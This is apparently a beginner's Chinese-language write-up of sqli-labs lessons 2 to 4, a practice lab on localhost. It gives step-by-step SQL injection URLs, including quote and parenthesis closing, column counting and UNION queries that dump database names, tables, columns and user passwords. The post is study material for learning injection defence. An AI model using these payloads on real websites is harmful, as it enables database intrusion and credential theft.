本博文仅用于信息安全防御教学,请遵守中华人民共和国网络安全法!!
在本文前,我推荐像我一样的noob可以在前几关的php文件里加入如下语句,这样可以很清楚的看到每次执行了什么语句更方便学习和构造payload
sqli-labs Less2
GET - Error based - Intiger based
基于报错的GET整形注入
-------------分割线6/28--------------
从上图的SQL语句我们可以看出来,where条件直接让id=$id这个变量,并没有引号,但是我们知道,where的条件如果是字符型的话,那就必须要加引号,例如select group_concat(table_name) from information_schema.tables where table_schema='security’
,并且条件是数字时不用加引号.所以可能存在数字型注入。
-------------分割线6/28--------------
首先我们根据题目提示输入id=1
127.0.0.1/sqli/Less-2/?id=1
我们用常用的单引号,发现页面报错,说明页面未对单引号进行过滤,且有可能存在SQL注入
http://127.0.0.1/sqli/Less-2/?id=1%27
(单引号被URL编码为%27)
然后我们先假设为整形注入来判断,发现此时页面和之前无差别
http://127.0.0.1/sqli/Less-2/?id=1 and 1=1
我们在输入以下url,发现页面未报错,但是没有显示内容
http://127.0.0.1/sqli/Less-2/?id=1 and 1=2
通过以上测试我们可以确定可能存在整形注入
接下来我们判断字段长度,然后发现有三个字段
http://127.0.0.1/sqli/Less-2/?id=1 order by 4
然后我们判断回显位置,发现只有2,3位置回显
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,3
接下来的操作就和Less-1一样了对其进行一系列爆破操作
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(concat_ws(',',username,password)) from users
上图是爆破的一系列操作,因为跟Less-1一样所以我就不赘述了,而且上图依然是部分密码(屏幕大小有限)
sqli-labs Less3
GET - Error based - Single quotes with twist - string
基于报错的单引号变形的GET字符型注入
按照惯例我们还是根据提示输入id
http://127.0.0.1/sqli/Less-3/?id=1
然后我们加了两个语句后,发现它的id外面有括号,那就意味着我们有可能要在这里动手脚了,然后我分别试以下语句
http://127.0.0.1/sqli/Less-3/?id=1'
http://127.0.0.1/sqli/Less-3/?id=1' and 1=1
http://127.0.0.1/sqli/Less-3/?id=1' and 1=1)--+
发现最后一种语句,页面成功显示,所以我们的重点就是闭合单引号以及注释掉多余的括号
http://127.0.0.1/sqli/Less-3/?id=1' )--+
接下来的操作和Less1和Less2一致,我也不做过多赘述直接上图
http://127.0.0.1/sqli/Less-3/?id=1' ) order by 4--+
http://127.0.0.1/sqli/Less-3/?id=1' ) order by 3--+
http://127.0.0.1/sqli/Less-3/?id=-1' ) union select 1,2,3--+
http://127.0.0.1/sqli/Less-3/?id=-1' ) union select 1,2,group_concat(schema_name) from information_schema.schemata--+
http://127.0.0.1/sqli/Less-3/?id=-1' ) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
http://127.0.0.1/sqli/Less-3/?id=-1' ) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
http://127.0.0.1/sqli/Less-3/?id=-1' ) union select 1,2,group_concat(concat_ws(':',username,password)) from users--+
自此爆破又结束了,其实前三关只有注入时的差别,其他的都没有区别
sqli-labs Less4
GET - Error based - Double Quotes - String
基于报错的双引号GET注入
Less4和其他三个不同的是它是以双引号来包括变量的,只是一个是单引号,而Less4是双引号,道理一样。废话不多说,直接做题。
http://127.0.0.1/sqli/Less-4/?id=1
http://127.0.0.1/sqli/Less-4/?id=1'
这时发现加了单引号,页面没有报错,说明有可能题目是了双引号,接下来我们试一下双引号
http://127.0.0.1/sqli/Less-4/?id=1"
发现加入双引号页面报错,说明上述猜想是正确的,接下来最重要的就是要闭合双引号,以及注释没用的语句,其实原理很简单,照着Less3就可以改了
http://127.0.0.1/sqli/Less-4/?id=1")--+
程序没报错,且和一开始页面无差别,说明我们构造成功,接下来的一系列操作与上述一样,因为我是初学者,所以我做文字赘述,直接上图。
http://127.0.0.1/sqli/Less-4/?id=1") order by 4--+
http://127.0.0.1/sqli/Less-4/?id=1") order by 3--+
http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,3--+
http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata--+
http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,group_concat(concat_ws(':',username,password)) from users--+
至此,Less4的用户名及密码我们也爆破出来了其实总结Less1-Less4,其实题目的爆破过程都是一样的,不一样的就是如何构造payload和合适的注释让SQL语句向你想的方向进行,从Less5开始难度感觉就变难了,有了盲注和双重注入,作为小白的我在3天掌握了第一阶段的学习我自己感觉还是比较满意的。我会在后续做完后面的题,来继续更新。
本文原创,难免会有纰漏,烦请大家多多指教
by:lyy